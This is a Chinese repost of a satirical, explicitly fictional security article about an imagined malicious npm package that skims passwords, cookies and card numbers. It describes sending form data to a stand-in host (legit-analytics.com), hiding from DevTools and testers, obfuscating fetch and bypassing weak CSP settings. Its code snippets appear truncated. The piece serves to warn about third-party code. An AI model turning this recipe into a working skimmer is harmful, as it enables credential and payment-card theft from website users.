我是这样拿走大家网站上的信用卡号跟密码的!

阅读(421)
我是这样拿走大家网站上的信用卡号跟密码的!

这篇文章是个真实故事,或者是改编自真实故事,又或者只是我瞎掰的。

这个礼拜根本是资讯安全恐慌週,几乎每天都有新的资安漏洞被挖出来。这让我这个礼拜过得很辛苦,每次被家人问到发生什幺事,都得要假装自己很清楚状况。

看到身边的人因此处于「靠,我被骇了」的状况,真的让我大开眼界。

所以,我要来心情沈重的自首一下,让大家知道过去几年我怎幺从你们的网站上把帐号、密码、跟信用卡号全部干走。

恶意程式码本身很简单,在符合下面条件的页面会启动:

页面有

有看起来像是 input[type="password"] 或 input[type="cardnumber"] 或 input[type="cvc"] 之类的页面元素

页面有「信用卡」「结帐」「帐号」「密码」之类的文字

当信用卡号/密码栏位有 blur 事件的时候,或是看到表单的 submit 事件的时候,我的程式会做这些事:

抓取页面上所有表单的所有栏位里面的资料 document.forms.forEach

抓 document.cookie

把资料转成看起来很随机的字串 const payload = bota)

把资料送到 https://legit-analytics.com/?q=${payload}

总而言之,只要资料看起来有一点点用处,就把资料回传到我的伺服器上。

当然,我在 2015 写完这段程式的时候,他在我的电脑里面一点用都没有。我得把它野放,让他住进你的网站。

有句来自 Google 金玉良言:

If an attacker successfully injects any code at all, it’s pretty much game over

如果攻击者能成功注入任何程式码,差不多就等于完蛋了

XSS 规模太小,而且这方面的防御很完善。

Chrome Extension 也被锁起来了。

不过我运气很好,这年头的人装 npm 套件就跟吃止痛药一样,没在管的。

我要以 npm 作为我的散布管道,我就得生出一些多少有点用,让人不会想太多就装起来的小套件,作为我的特洛伊木马。

人类喜欢看到颜色,这是人跟狗最大的差别。所以我写了个套件可以在 console 里面用各种颜色写 log。

我是这样拿走大家网站上的信用卡号跟密码的!

程式码在这裏

我现在手上有个很吸睛的套件,这让我很兴奋。但是我不想坐在那边等人慢慢发现我的套件。所以我打算到处发 PR,把我多采多姿的套件加到别人的安装清单里面。

于是乎,我发了几百个 PR给各种前端套件,让他们相依于我的套件。「嘿,我修正了这个问题,顺便加了一些 log」。

妈,你看!我正在为 open source 做出贡献呢!

当然有很多常识人会跳出来说,他们不希望增加新的相依套件。不过这算意料之中,重点是数量。

总而言之,这次作战算成功。有 23 个套件直接把我的套件装进去了。而其中有个套件被装进另一个广泛使用的套件使用,这下中奖了。我就不说是哪个套件,不过你可以想成我 left-pad 了一堆金库。

这只是其中一个,我手上还有另外六个热门套件。

我的程式现在每个月被下载十二万次,然后我可以很骄傲的说,有不少 alexa 1000 大网站上面跑着我的程式,我拿到的帐号/密码/信用卡资讯源源不绝。

回头来看,有点难以想像人们花这幺多时间搞 XSS,只为了把程式插进一个网站。现在有网页开发者们帮忙,我轻鬆的把程式推到成千上万个网站上面。

也许你对我公然製造恐慌有些反对意见…我会注意到有奇怪的 request 被送出来!

你要怎幺注意到有奇怪的 request?只要你打开 DevTool 我的程式就不会动作。就算你让他显示成独立的视窗也一样。

除此之外,如果程式跑在 localhost、或是透过 ip 位址连线、或是网址里面包涵 dev /test / qa / uat / staging,我的程式也不会动作。

这些 request 会被我们的渗透测试人员会在 HTTP 监控工具里面抓出来!

他们的工作时间是什幺时候?我的程式在早上七点到晚上七点之间不会发送任何资料,这样我收到的资料量会减半,但是能减少 95% 被发现的机会。

而且一个人的机密资讯我只需要拿一次,所以在我发送完讯息之后会在机器上做注记,同一台装置不会发送第二次讯息。

而且就算做渗透测试的人很有研究精神,真的把 cookie 清掉重试,我只会间歇性的发送这些资料

除此之外,我的网址看起来就跟你的网站其他三百个 request 会用到的网址差不多。

我的重点是,你没看到不表示事情没发生。就我所知,这两年来根本没人注意到这些 request。搞不好你的网站上早就跑着我的程式码:)

我在 GitHub 上面有看到你的程式码!

你这幺天真可爱,让我感到一阵温暖。

但很不幸的,我完全可以在 GitHub 上贴一个版本,而 npm 上面送的是另一个不同的版本。

我的 package.json 里面有定义 files 属性,指到 lib 资料夹里面。我把 minify 并 uglify 过的程式放在那里面。我跑 npm publish 的时候会把这些程式送出去。但是 lib 在 .gitignore 里面,所以不会被送上 GitHub。这样的行为很常见,所以 GitHub 上的 code 看起来完全不可疑。

这其实不是 npm 的问题。就算我没有分开不同的版本,是谁告诉你 /lib/package.min.js 一定是 /src/package.js 拿去 minify 来的?

所以你在 GitHub 上是找不到我的邪恶程式的。

我会去读 node_modules 里面所有 minify 过的程式码!

我觉得你有点为反对而反对了。不过也可能你的意思是你可以写一些厉害的东西自动检查 node_modules 里面的程式码。

不过你还是没办法在我的程式里面找到什幺有意义的东西。程式里面没有 fetch 或 XMLHttpRequest 之类的字串,也找不到我用的网址。我的 fetch 程式大概长这样:

「gfudi」是「fetch」的每个字母往后移一位。这可是硬派的密码学。

而 self 则是 window 的 alias。self[‘\u0066\u0065\u0074\u0063\u0068'] 则是另外一种花俏的呼叫 fetch 的方式。

重点是:很难从认真混淆过的程式码里面挖出髒东西,你没机会的。

我有设定 Content Security Policy!

噢,你有设啊。

是不是有人告诉过你设定 CSP 能够避免资料被送往不该送的坏坏网址呢?我其实不喜欢破坏孩子的梦想,不过下面这四行程式就算是最严格的 CSP 也能够轻鬆绕过:

不过 CSP 也不是完全没用,上面那招只有在 Chrome 里面有用。而且严谨的 CSP 设定说不定能够在一些比较少人用的浏览器里面把我给挡下来。

如果你还不知道,content security policy 能限制浏览器能够发出的网路请求。通常这会被说成你允许浏览器载入哪些东西,不过你也可以想成这是在保护你能送出什幺东西

如果我没办法用 prefetch 那招送出资料,CSP 对我的信用卡收集业务会有点棘手。这可不只是因为他会阻止我的邪恶行为而已。

如果我从有 CSP 的网站送资料,他可能会通知网站管理员有讯息发送失败。他们可能会追到我的程式,然后打电话给我妈,让我吃不完兜着走。

我做人一向低调,所以我在送资料之前会先检查 CSP。

我的做法是在现在的页面发一个假的请求,然后去读 header:

然后我就能开始找你的 CSP 里面的漏洞。我很意外的发现 Google 的登入页面的 CSP 没设好,如果我的程式跑在那上面我就能拿到你的帐号密码。他们没有设定 connect-src,而且也没有设定最终防卫线 default-src,所以只要我想要,我就可以开心的把你的个人资讯送出来。

如果你发一封内含十美金的信给我,我会告诉你我的程式码是不是真的跑在 Google 登入页面上。

Amazon 在你打信用卡的页面根本没设定 CSP,eBay 也一样。

Twitter 跟 PayPal 有 CSP,不过要绕过也是很简单。他们犯了一样的错误,这很可能表示有一大堆人都犯了一样的错误。他们的防护乍看之下很坚实,有设定 default-src 这个最终防卫线,但问题是最终防卫线其实有洞,他们没有把 form-action 锁起来。

所以在我检查你的 CSP的时候,如果其他东西都被锁掉了,但是 form-action 没有被锁,我会直接修改页面上所有表单的 action

Array.from.forEach;

好了,感谢你把你的 PayPal 帐号密码寄给我。我会用你的钱买一堆东西,拍张照片,然后做成感谢卡寄给你。

当然,这招只会做一次,然后把使用者踹回原本的登入页面,然后他们会感到迷惑,然后重新登入一次。

好,我开始紧张了,我该怎幺办?

方案一:

我是这样拿走大家网站上的信用卡号跟密码的!
这里很安全

方案二:

只要页面上有你不希望我拿到的资料,不要用任何 npm 套件、或是 Google Tag Manager、或是广告、或是分析、或是其他任何不是你自己写的程式。

就像是这篇的建议,你可能会想要考虑做一个轻巧独立,专门用来登入以及输入信用卡资讯的页面,用 iframe 载入。

你当然可以在你的 header/footer/nav/其他地方把你又大又棒的的 React app 跟其他 138 个 npm 套件装进来,但是使用者输入资讯的地方应该要是个包在 sandbox 里面的 iFrame。如果你有需要做 client side 验证,那里面只能跑你自己写的JavaScript。

我很快就会贴出我把蒐集到的信用卡卖给带着帅帅的帽子的帮派份子的收入的 2017 年度报告。依照法律规定,我得列出我拿到最多信用卡资料的网站,搞不好你的网站是其中一个?

不过像我这样风度翩翩的男人,只要你的网站在 1/12 之前把我的捞资料程式挡掉,我就会把你从清单移掉,让你不用被公开羞辱。

认真说

我知道我的靠北对于还在学英文的人来说有点难懂。所以我要先说清楚,我并没有真的做会偷别人资料的 npm 套件。这篇文章完全是虚构的。然而,这篇文章的内容是可行的,我也希望这篇文章能有点教育意义。

虽然这篇文章是假的,但是这个套路并不难,这让我很担心。

这个世界上聪明的坏人很多,而且 npm 套件有四十万个。我认为其中总是会有哪个套件心怀不轨。而坏人如果把事情作对,你很可能根本看不见查不到。

总结

所以这篇文章的重点是什幺?只是想要找个人指着说「啊哈哈哈你看看你超 suck」吗?

不,绝对不是

我的目的只是想要指出,任何装了第三方的程式码的网站都等于是开了一个大洞,而且完全侦测不到。

上一篇: 下一篇: